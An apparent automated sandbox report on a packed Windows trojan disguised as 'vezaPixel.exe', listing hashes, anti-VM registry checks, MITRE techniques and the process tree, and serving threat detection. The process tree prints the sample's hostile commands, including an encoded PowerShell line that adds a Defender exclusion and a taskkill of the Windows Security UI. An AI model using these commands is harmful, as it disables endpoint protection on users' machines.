82c99aad03cb3787f670782c932cc130e1e40c02ade3d521ed67207cd73988d7

Analysis

user interaction
yes
max time kernel
328s
max time network
325s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/05/2026, 05:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
vezaPixel.exe
Size 180.1MB
Sample260528-f2f5sshv31
SHA256 82c99aad03cb3787f670782c932cc130e1e40c02ade3d521ed67207cd73988d7
MD5 1946109de22f686145716c58644d0dc3
SHA1 54b5225db9724054364d23b326d42a77875d3977
SHA512 bf63bbfff3023039c113639d486edf8f2159cfe846a8e633342bca4e78d35f7d89bae1fffa4995fcb1c13a188e3c5f2ab056b5da190aaacc8c813d15991f794e
SSDEEP 1572864:HH0f0gqxb0WBFh/LVO9dyKcRmAswCXj5EtV4ga5h0q2ZOADpAyK5/Y3P8kbVr+qI:0sok+hK7
TLSH
T12F988C03F39A50D9E01DD1B58B9B9633EAB1B8854324A2DF27540B512F77EE86B3DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d9fd5b786c5b14b9.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d9fd5b786c5b14b9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d9fd5b786c5b14b9.exe

Executes dropped EXE 1 IoCs

pid	Process
3668	d9fd5b786c5b14b9.exe

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral15/files/0x00080000000246b1-30.dat	themida
behavioral15/memory/3668-33-0x0000000140000000-0x0000000140776000-memory.dmp	themida
behavioral15/memory/3668-34-0x0000000140000000-0x0000000140776000-memory.dmp	themida
behavioral15/memory/3668-35-0x0000000140000000-0x0000000140776000-memory.dmp	themida
behavioral15/memory/3668-37-0x0000000140000000-0x0000000140776000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	d9fd5b786c5b14b9.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	vezaPixel.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	vezaPixel.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	vezaPixel.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	vezaPixel.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	vezaPixel.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	vezaPixel.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	vezaPixel.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	vezaPixel.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	vezaPixel.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	vezaPixel.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2148	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
436	powershell.exe
436	powershell.exe
436	powershell.exe
4596	powershell.exe
4596	powershell.exe
4596	powershell.exe
3668	d9fd5b786c5b14b9.exe
3668	d9fd5b786c5b14b9.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

description	pid	Process
Token: SeDebugPrivilege	436	powershell.exe
Token: SeIncreaseQuotaPrivilege	436	powershell.exe
Token: SeSecurityPrivilege	436	powershell.exe
Token: SeTakeOwnershipPrivilege	436	powershell.exe
Token: SeLoadDriverPrivilege	436	powershell.exe
Token: SeSystemProfilePrivilege	436	powershell.exe
Token: SeSystemtimePrivilege	436	powershell.exe
Token: SeProfSingleProcessPrivilege	436	powershell.exe
Token: SeIncBasePriorityPrivilege	436	powershell.exe
Token: SeCreatePagefilePrivilege	436	powershell.exe
Token: SeBackupPrivilege	436	powershell.exe
Token: SeRestorePrivilege	436	powershell.exe
Token: SeShutdownPrivilege	436	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeSystemEnvironmentPrivilege	436	powershell.exe
Token: SeRemoteShutdownPrivilege	436	powershell.exe
Token: SeUndockPrivilege	436	powershell.exe
Token: SeManageVolumePrivilege	436	powershell.exe
Token: 33	436	powershell.exe
Token: 34	436	powershell.exe
Token: 35	436	powershell.exe
Token: 36	436	powershell.exe
Token: SeShutdownPrivilege	4672	vezaPixel.exe
Token: SeCreatePagefilePrivilege	4672	vezaPixel.exe
Token: SeDebugPrivilege	2148	taskkill.exe
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeShutdownPrivilege	4672	vezaPixel.exe
Token: SeCreatePagefilePrivilege	4672	vezaPixel.exe
Token: SeShutdownPrivilege	4672	vezaPixel.exe
Token: SeCreatePagefilePrivilege	4672	vezaPixel.exe
Token: SeShutdownPrivilege	4672	vezaPixel.exe
Token: SeCreatePagefilePrivilege	4672	vezaPixel.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4672 wrote to memory of 4836	4672	vezaPixel.exe	88
PID 4672 wrote to memory of 436	4672	vezaPixel.exe	89
PID 4672 wrote to memory of 3328	4672	vezaPixel.exe	90
PID 4672 wrote to memory of 2716	4672	vezaPixel.exe	93
PID 2716 wrote to memory of 3096	2716	cmd.exe	95
PID 3096 wrote to memory of 1136	3096	net.exe	96
PID 4672 wrote to memory of 1512	4672	vezaPixel.exe	97
PID 1512 wrote to memory of 2148	1512	cmd.exe	99
PID 4672 wrote to memory of 3496	4672	vezaPixel.exe	100
PID 3496 wrote to memory of 872	3496	cmd.exe	102
PID 872 wrote to memory of 1728	872	net.exe	103
PID 4672 wrote to memory of 4596	4672	vezaPixel.exe	104
PID 4672 wrote to memory of 3668	4672	vezaPixel.exe	106

C:\Users\Admin\AppData\Local\Temp\vezaPixel.exe
"C:\Users\Admin\AppData\Local\Temp\vezaPixel.exe"
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4672
- C:\Users\Admin\AppData\Local\Temp\vezaPixel.exe
  "C:\Users\Admin\AppData\Local\Temp\vezaPixel.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\vezapixel-zf2i" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1720,i,12973505888101150925,1250256682757645288,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1712 /prefetch:2
  2⤵
  PID:4836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABuAD0AQAAoACkAOwAgAHQAcgB5AHsAJABuACsAPQBHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAHwAUwBlAGwAZQBjAHQAIAAtAEUAeABwAGEAbgBkACAATgBhAG0AZQB9AGMAYQB0AGMAaAB7AH0AOwAgAGkAZgAoAEAAKAAkAG4AKQAuAEMAbwB1AG4AdAAgAC0AZQBxACAAMAApAHsAdAByAHkAewAkAG4AKwA9AEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAB8AFMAZQBsAGUAYwB0ACAALQBFAHgAcABhAG4AZAAgAE4AYQBtAGUAfQBjAGEAdABjAGgAewB9AH0AOwAgACgAJABuACAALQBqAG8AaQBuACAAIgB8ACIAKQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:436
- C:\Users\Admin\AppData\Local\Temp\vezaPixel.exe
  "C:\Users\Admin\AppData\Local\Temp\vezaPixel.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\vezapixel-zf2i" --field-trial-handle=1848,i,12973505888101150925,1250256682757645288,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1828 /prefetch:3
  2⤵
  PID:3328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3096
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM SecHealthUI.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3496
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABjAD0ARwBlAHQALQBDAG8AbQBtAGEAbgBkACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AGkAZgAoACQAYwApAHsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AYwBhAHQAYwBoAHsAfQB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4596
- C:\Users\Admin\AppData\Local\Temp\d9fd5b786c5b14b9.exe
  C:\Users\Admin\AppData\Local\Temp\d9fd5b786c5b14b9.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious behavior: EnumeratesProcesses
  PID:3668

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
MD5 3bfc414667e1ebc31e9259fa1db290fa
SHA1 9bff989429779efef334e5524a362e7b6ff266cb
SHA512 e6cb000e8f900132f7dc661f943b8e91e945d171157ff3289b91e9d79f70230e363ed65b7ec97f451b376cf4706a14de9a86193e72dcea8fe3aa8c86c6117d13
TLSH
T1E371BF323375B0D4C9567F072A2819C063BF4396EA98AF4CB25C621ED92751B9B122F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cfc90677fb90dc7adbf30bcbf8a7ebdabfd4ba81dd02de64c0200c75165b32c4
MD5 f12064ec2cbfd4d44b208a0d612fd4f4
SHA1 fa68adb940d9863b3b43bf4248e37f61fb35d012
SHA512 b477efe9ffc97b24ab55e6a9c528aa8e2372dea8dea4b4645b81d203f19829f8879fc537ebb6c28643ba74d3649f707d8bce6ea77016fdc5687abd455473e5eb
TLSH
T176216527B39DC821CC95113A209CAC11327683C7809ECF8F6EC0D224A17FA84CB71594
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_wsvtlolh.wc5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wsvtlolh.wc5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

d9fd5b786c5b14b9.exe

Path C:\Users\Admin\AppData\Local\Temp\d9fd5b786c5b14b9.exe
Size 3.0MB
SHA256 73f9c308730eab8be18eec06b6bf93d6e94dbdd26652268c2210a114a0454fa6
MD5 6303f6eb3b86eb9c42d80016c3f1dfdd
SHA1 29eb408be1ed4a45e9850788e148c13a0c856f13
SHA512 6c88e35e0595c709c58a416e862d78b32308125cc1ab1d324e4618e9d1b59770c5a7e16824361b51c328485430c8a0efb798a799b6488608a6d666c608e7436e
SSDEEP 49152:fB8Za4jIP0bqpPJirgqfLedrgzgw1vDAsSKcAalEnziwnDE1i8:fB8Z3IPCqJv0LedkDAsSPflEz1nDci8
TLSH
T1E8E5339608E86431EC3610B0AFDFDCB1C577A2ECE098B76AD3D61294471FB0AE9475C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/436-7-0x000001AE59CC0000-0x000001AE59CE2000-memory.dmp

Download

memory/436-9-0x000001AE5A140000-0x000001AE5A16A000-memory.dmp

Download

memory/436-10-0x000001AE5A140000-0x000001AE5A164000-memory.dmp

Download

memory/3668-33-0x0000000140000000-0x0000000140776000-memory.dmp

Download

memory/3668-34-0x0000000140000000-0x0000000140776000-memory.dmp

Download

memory/3668-35-0x0000000140000000-0x0000000140776000-memory.dmp

Download

memory/3668-37-0x0000000140000000-0x0000000140776000-memory.dmp

Download